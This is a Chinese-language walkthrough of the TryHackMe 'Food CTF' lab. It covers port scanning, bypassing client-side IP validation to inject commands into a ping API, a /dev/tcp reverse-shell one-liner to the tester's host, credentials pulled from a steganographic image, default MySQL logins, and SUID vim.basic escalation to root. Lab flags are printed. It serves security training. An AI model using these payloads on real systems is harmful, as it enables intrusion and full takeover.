关于安全:TryhackmeKoTH-Food-CTF前端验证绕过图片隐写SUID提权vimbasic

6次阅读

共计 14020 个字符,预计需要花费 36 分钟才能阅读完成。

免责申明

本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用,请不要将文中应用的工具和浸透思路用于任何非法用处,对此产生的所有结果,自己不承当任何责任,也不对造成的任何误用或侵害负责。

服务发现

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# nmap -sV -Pn 10.10.2.134    
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 (https://nmap.org) at 2021-11-09 03:09 EST
Nmap scan report for 10.10.2.134
Host is up (0.30s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp open  abyss?

疾速扫描,连个 web 服务都没有,却有 mysql 服务,狐疑在高端口存在 http,全端口扫描一下:

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# nmap -sV -Pn 10.10.2.134 -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 (https://nmap.org) at 2021-11-09 03:11 EST
Stats: 0:14:59 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.78% done; ETC: 03:34 (0:07:26 remaining)
Stats: 0:22:02 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 03:34 (0:00:32 remaining)
Nmap scan report for 10.10.2.134
Host is up (0.30s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp  open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp  open  abyss?
15065/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
16109/tcp open  unknown
46969/tcp open  telnet  Linux telnetd

果然在 15065 端口存在一个 golang 的 http 服务,关上页面只显示两行文字:

Site down for maintenance
Blame Dan, he keeps messing with the prod servers.

当初咱们晓得有一个开发者叫做:Dan

用 dan 做用户名,爆破 ssh 和 telnet,无果。

爆破 15065 目录

┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.2.134:15065/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_|)

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/dirsearch/reports/10.10.2.134-15065/-_21-11-09_03-48-30.txt

Error Log: /root/dirsearch/logs/errors-21-11-09_03-48-30.log

Target: http://10.10.2.134:15065/

[03:48:31] Starting: 
               
[03:49:59] 200 -    1KB - /monitor/                                         
[03:49:59] 301 -    0B  - /monitor  ->  monitor/                            

关上 monitor,显示一个 ping 命令行的页面,只能输出 ip,尝试命令行注入, 无果。

查看网页源代码,发现 main.js 里有这段代码

//Steve said I should obfuscate my code to make it better. I don't really understand but it works so meh

const _0x1a9d=['dmFsdWU=','I2hvc3RUb1Bpbmc=','dGVzdA==','SVAgYWRkcmVzcyBpbnZhbGlk','cXVlcnlTZWxlY3Rvcg==','UGluZ2luZzog','dGV4dENvbnRlbnQ='];(function(_0x365cb9,_0x1a9de5){const _0x4d6713=function(_0x1784af){while(--_0x1784af){_0x365cb9['push'](_0x365cb9['shift']());}};_0x4d6713(++_0x1a9de5);}(_0x1a9d,0x148));const _0x4d67=function(_0x365cb9,_0x1a9de5){_0x365cb9=_0x365cb9-0x0;let _0x4d6713=_0x1a9d[_0x365cb9];if(_0x4d67['NLdOOO']===undefined){(function(){let _0x525fb1;try{const _0x3f1d56=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x525fb1=_0x3f1d56();}catch(_0xc71f1){_0x525fb1=window;}const _0x4685a7='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x525fb1['atob']||(_0x525fb1['atob']=function(_0x255321){const _0x24c30f=String(_0x255321)['replace'](/=+$/,'');let _0x5e1a31='';for(let _0x4d6263=0x0,_0x55cd30,_0x4f9f3e,_0x1e913f=0x0;_0x4f9f3e=_0x24c30f['charAt'](_0x1e913f++);~_0x4f9f3e&&(_0x55cd30=_0x4d6263%0x4?_0x55cd30*0x40+_0x4f9f3e:_0x4f9f3e,_0x4d6263++%0x4)?_0x5e1a31+=String['fromCharCode'](0xff&_0x55cd30>>(-0x2*_0x4d6263&0x6)):0x0){_0x4f9f3e=_0x4685a7['indexOf'](_0x4f9f3e);}return _0x5e1a31;});}());_0x4d67['LCDJpm']=function(_0x16dbab){const _0x48165c=atob(_0x16dbab);let _0x25c165=[];for(let _0x2e78af=0x0,_0x1185f3=_0x48165c['length'];_0x2e78af<_0x1185f3;_0x2e78af++){_0x25c165+='%'+('00'+_0x48165c['charCodeAt'](_0x2e78af)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x25c165);};_0x4d67['znaolL']={};_0x4d67['NLdOOO']=!![];}const _0x1784af=_0x4d67['znaolL'][_0x365cb9];if(_0x1784af===undefined){_0x4d6713=_0x4d67['LCDJpm'](_0x4d6713);_0x4d67['znaolL'][_0x365cb9]=_0x4d6713;}else{_0x4d6713=_0x1784af;}return _0x4d6713;};async function pingHost(){const _0x25c165=document[_0x4d67('0x5')]('#outputSection');const _0x2e78af=document[_0x4d67('0x5')](_0x4d67('0x2'));const _0x1185f3=_0x2e78af[_0x4d67('0x1')];if(_0x1185f3!==undefined&&_0x1185f3!==''&&ValidateIPaddress(_0x1185f3)){_0x25c165[_0x4d67('0x0')]=_0x4d67('0x6')+_0x1185f3+'\x0a';const _0x27c227=await postData('/api/cmd','ping\x20-c\x204\x20'+_0x1185f3);_0x25c165['textContent']+=await _0x27c227['text']();}else{_0x25c165[_0x4d67('0x0')]=_0x4d67('0x4');}}function ValidateIPaddress(_0x23b8a0){if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x4d67('0x3')](_0x23b8a0)){return!![];}return![];}

格式化这段 js 代码:

const _0x1a9d = ['dmFsdWU=', 'I2hvc3RUb1Bpbmc=', 'dGVzdA==', 'SVAgYWRkcmVzcyBpbnZhbGlk', 'cXVlcnlTZWxlY3Rvcg==', 'UGluZ2luZzog', 'dGV4dENvbnRlbnQ=']; (function(_0x365cb9, _0x1a9de5) {const _0x4d6713 = function(_0x1784af) {while (--_0x1784af) {_0x365cb9['push'](_0x365cb9['shift']());
        }
    };
    _0x4d6713(++_0x1a9de5);
} (_0x1a9d, 0x148));
const _0x4d67 = function(_0x365cb9, _0x1a9de5) {
    _0x365cb9 = _0x365cb9 - 0x0;
    let _0x4d6713 = _0x1a9d[_0x365cb9];
    if (_0x4d67['NLdOOO'] === undefined) {(function() {
            let _0x525fb1;
            try {const _0x3f1d56 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
                _0x525fb1 = _0x3f1d56();} catch(_0xc71f1) {_0x525fb1 = window;}
            const _0x4685a7 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x525fb1['atob'] || (_0x525fb1['atob'] = function(_0x255321) {const _0x24c30f = String(_0x255321)['replace'](/=+$/, '');
                let _0x5e1a31 = '';
                for (let _0x4d6263 = 0x0, _0x55cd30, _0x4f9f3e, _0x1e913f = 0x0; _0x4f9f3e = _0x24c30f['charAt'](_0x1e913f++);~_0x4f9f3e && (_0x55cd30 = _0x4d6263 % 0x4 ? _0x55cd30 * 0x40 + _0x4f9f3e: _0x4f9f3e, _0x4d6263++%0x4) ? _0x5e1a31 += String['fromCharCode'](0xff & _0x55cd30 >> ( - 0x2 * _0x4d6263 & 0x6)) : 0x0) {_0x4f9f3e = _0x4685a7['indexOf'](_0x4f9f3e);
                }
                return _0x5e1a31;
            });
        } ());
        _0x4d67['LCDJpm'] = function(_0x16dbab) {const _0x48165c = atob(_0x16dbab);
            let _0x25c165 = [];
            for (let _0x2e78af = 0x0, _0x1185f3 = _0x48165c['length']; _0x2e78af < _0x1185f3; _0x2e78af++) {_0x25c165 += '%' + ('00' + _0x48165c['charCodeAt'](_0x2e78af)['toString'](0x10))['slice'](- 0x2);
            }
            return decodeURIComponent(_0x25c165);
        };
        _0x4d67['znaolL'] = {};
        _0x4d67['NLdOOO'] = !![];}
    const _0x1784af = _0x4d67['znaolL'][_0x365cb9];
    if (_0x1784af === undefined) {_0x4d6713 = _0x4d67['LCDJpm'](_0x4d6713);
        _0x4d67['znaolL'][_0x365cb9] = _0x4d6713;
    } else {_0x4d6713 = _0x1784af;}
    return _0x4d6713;
};
async
function pingHost() {const _0x25c165 = document[_0x4d67('0x5')]('#outputSection');
    const _0x2e78af = document[_0x4d67('0x5')](_0x4d67('0x2'));
    const _0x1185f3 = _0x2e78af[_0x4d67('0x1')];
    if (_0x1185f3 !== undefined && _0x1185f3 !== '' && ValidateIPaddress(_0x1185f3)) {_0x25c165[_0x4d67('0x0')] = _0x4d67('0x6') + _0x1185f3 + '\x0a';
        const _0x27c227 = await postData('/api/cmd', 'ping\x20-c\x204\x20' + _0x1185f3);
        _0x25c165['textContent'] += await _0x27c227['text']();} else {_0x25c165[_0x4d67('0x0')] = _0x4d67('0x4');
    }
}
function ValidateIPaddress(_0x23b8a0) {if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/ [_0x4d67('0x3')](_0x23b8a0)) {return !! [];
    }
    return ! [];}

浏览 js 代码,发现命令行的过滤是在 js 端执行的,次要是 ValidateIPaddress 这个函数。

咱们用 burp 抓包。间接从 burp 发命令,绕过浏览器的 js 过滤

payload:

POST /api/cmd HTTP/1.1

Host: 10.10.2.134:15065

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/plain

Origin: http://10.10.2.134:15065

Content-Length: 8

Connection: close



ifconfig

返回:

HTTP/1.1 200 OK

Date: Tue, 09 Nov 2021 10:21:29 GMT

Content-Length: 900

Content-Type: text/plain; charset=utf-8

Connection: close



eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 10.10.2.134  netmask 255.255.0.0  broadcast 10.10.255.255
        inet6 fe80::53:b1ff:fe33:d9b3  prefixlen 64  scopeid 0x20<link>
        ether 02:53:b1:33:d9:b3  txqueuelen 1000  (Ethernet)
        RX packets 1225123  bytes 132078973 (132.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 858039  bytes 110027220 (110.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 40410  bytes 4167976 (4.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 40410  bytes 4167976 (4.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

咱们用上面 payload 创立一个反弹 shell:
0<&196;exec 196<>/dev/tcp/10.13.21.169/4242; sh <&196 >&196 2>&196

拿到初始 shell

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# nc -lnvp 4242           
listening on [any] 4242 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.2.134] 46670
id
uid=1004(bread) gid=1004(bread) groups=1004(bread)
whoami
bread
ls
flag
main
main.go
resources
cat flag
cat: flag: Permission denied

本账号下的 flag 竟然没有读权限。

9999 端口也是一个 http 服务,关上页面 打印一个:king,不晓得是干嘛。

16109 端口关上浏览器显示一张图片,把图片下载到本地剖析。

exiftool 查看图片根本信息,binwalk 查看图片组成,再用 steghide 命令拆散出一个 creds.txt 文件

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# exiftool  10.10.2.134.jpeg 
ExifTool Version Number         : 12.16
File Name                       : 10.10.2.134.jpeg
Directory                       : .
File Size                       : 372 KiB
File Modification Date/Time     : 2021:11:09 04:02:55-05:00
File Access Date/Time           : 2021:11:09 04:04:05-05:00
File Inode Change Date/Time     : 2021:11:09 04:02:55-05:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Image Width                     : 1350
Image Height                    : 900
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1350x900
Megapixels                      : 1.2
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# binwalk 10.10.2.134.jpeg                     

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
381172        0x5D0F4         gzip compressed data, from Unix, last modified: 2020-03-19 23:53:20

                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# steghide extract -sf 10.10.2.134.jpeg 
Enter passphrase: 
wrote extracted data to "creds.txt".
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# cat creds.txt           
pasta:pastaisdynamic

尝试用 creds.txt 下面的凭证登录 ssh,拿到一个 shell

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# ssh pasta@10.10.2.134                
pasta@10.10.2.134's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Nov  9 09:07:59 UTC 2021

  System load:  0.01              Processes:           91
  Usage of /:   43.9% of 9.78GB   Users logged in:     0
  Memory usage: 35%               IP address for eth0: 10.10.2.134
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.


Last login: Sat Mar 21 00:19:06 2020
pasta@foodctf:~$ id
uid=1002(pasta) gid=1002(pasta) groups=1002(pasta)

flag1

/home/bread 下拿到 flag1

pasta@foodctf:/home/bread$ cat flag 
thm{7baf5aa8491a4b7b1c2d231a24aec575}
pasta@foodctf:/home/bread$ pwd
/home/bread

传 linpeas 枚举提权信息,发现 mysql 用了默认登录明码:root:root

登录进去。发现有一个 Users 数据库

pasta@foodctf:/tmp$ mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 199
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| users              |
+--------------------+

有一张 User 表

mysql> use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| User            |

flag2

拿到 flag2 和 ramen 的登录凭证

mysql> select * from user;
ERROR 1146 (42S02): Table 'users.user' doesn't exist
mysql> select * from User;
+----------+---------------------------------------+
| username | password                              |
+----------+---------------------------------------+
| ramen    | noodlesRTheBest                       |
| flag     | thm{2f30841ff8d9646845295135adda8332} |
+----------+---------------------------------------+

横向提权到 ramen

pasta@foodctf:/tmp$ su ramen
Password: 
ramen@foodctf:/tmp$ id
uid=1003(ramen) gid=1003(ramen) groups=1003(ramen)

flag3

/home/food 下找到暗藏文件 flag3

ramen@foodctf:/home/food$ cat .flag 
thm{58a3cb46855af54d0660b34fd20a04c1}
ramen@foodctf:/home/food$ pwd
/home/food

提权到 root

查找所有 SUID

ramen@foodctf:/tmp$ find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/vim.basic
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/screen-4.5.0
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/telnetlogin
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
/snap/core/7270/bin/ping6
/snap/core/7270/bin/su
/snap/core/7270/bin/umount
/snap/core/7270/usr/bin/chfn
/snap/core/7270/usr/bin/chsh
/snap/core/7270/usr/bin/gpasswd
/snap/core/7270/usr/bin/newgrp
/snap/core/7270/usr/bin/passwd
/snap/core/7270/usr/bin/sudo
/snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7270/usr/lib/openssh/ssh-keysign
/snap/core/7270/usr/lib/snapd/snap-confine
/snap/core/7270/usr/sbin/pppd
/snap/core/8689/bin/mount
/snap/core/8689/bin/ping
/snap/core/8689/bin/ping6
/snap/core/8689/bin/su
/snap/core/8689/bin/umount
/snap/core/8689/usr/bin/chfn
/snap/core/8689/usr/bin/chsh
/snap/core/8689/usr/bin/gpasswd
/snap/core/8689/usr/bin/newgrp
/snap/core/8689/usr/bin/passwd
/snap/core/8689/usr/bin/sudo
/snap/core/8689/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8689/usr/lib/openssh/ssh-keysign
/snap/core/8689/usr/lib/snapd/snap-confine
/snap/core/8689/usr/sbin/pppd

咱们留意到 /usr/bin/vim.basic 这个 SUID 有点特地,尝试用他关上/etc/shadow/, 竟然能够胜利关上

也就是说 vim.basic 其实是等价于 vim 的,因而咱们能够利用它提权到 root

依据 gtfobins 上对于 vim 应用 SUID 提权指令,咱们略微批改一下:

ramen@foodctf:/tmp$ /usr/bin/vim.basic  -c ':python3 import os; os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
Erase is control-H (^H).
# id
uid=1003(ramen) gid=1003(ramen) euid=0(root) egid=0(root) groups=0(root),1003(ramen)
# whoami
root
# 

胜利提权到 root,因为咱们曾经拿到 root 权限,因而咱们能够读到任意 flag 文件。

# find / -name *flag* -type f 2>/dev/null          
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/root/flag
/home/tryhackme/flag7
/home/bread/flag
/home/food/.flag
/var/flag.txt
/var/lib/mysql/debian-5.7.flag

正文完
 0